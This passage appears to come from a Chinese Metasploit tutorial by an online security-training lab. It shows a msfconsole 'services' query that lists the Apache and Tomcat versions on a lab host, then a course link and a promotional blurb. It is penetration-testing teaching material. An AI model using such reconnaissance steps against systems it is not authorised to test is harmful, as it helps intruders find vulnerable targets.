msf > services -c name,port,info -S Apache 192.168.177.142 Services========host name port info ---- ---- ---- ---- 192.168.177.142 http 80 Apache httpd 2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1 192.168.177.142 http 8080 Apache Tomcat/Coyote JSP engine 1.1 Tip:在后續(xù)的章節(jié)我們將學(xué)習(xí)更多的數(shù)據(jù)庫命令,比如 loot、cred、vulns、notes。
本章完
相關(guān)操作學(xué)習(xí)
Metasploit之PostgreSQL及Scanner實(shí)踐:通過該實(shí)驗(yàn)學(xué)會(huì)metasploit與postgresql的配合使用,metasploit中主機(jī)掃描模塊的使用以及集成的web應(yīng)用掃描框架使用,數(shù)據(jù)庫和掃描器的配合使用。
http://www.hetianlab.com/expc.do?ec=ECID62bc-07d5-4138-a540-e5e7a8aebb51
?
說明
本文由合天網(wǎng)安實(shí)驗(yàn)室編譯,轉(zhuǎn)載請(qǐng)注明來源。
關(guān)于合天網(wǎng)安實(shí)驗(yàn)室
合天網(wǎng)安實(shí)驗(yàn)室(www.hetianlab.com)-國(guó)內(nèi)領(lǐng)先的實(shí)操型網(wǎng)絡(luò)安全在線教育平臺(tái),真實(shí)環(huán)境,在線實(shí)操學(xué)網(wǎng)絡(luò)安全 ; 實(shí)驗(yàn)內(nèi)容涵蓋:系統(tǒng)安全,軟件安全,網(wǎng)絡(luò)安全,Web安全,移動(dòng)安全,CTF,取證分析,滲透測(cè)試,網(wǎng)安意識(shí)教育等。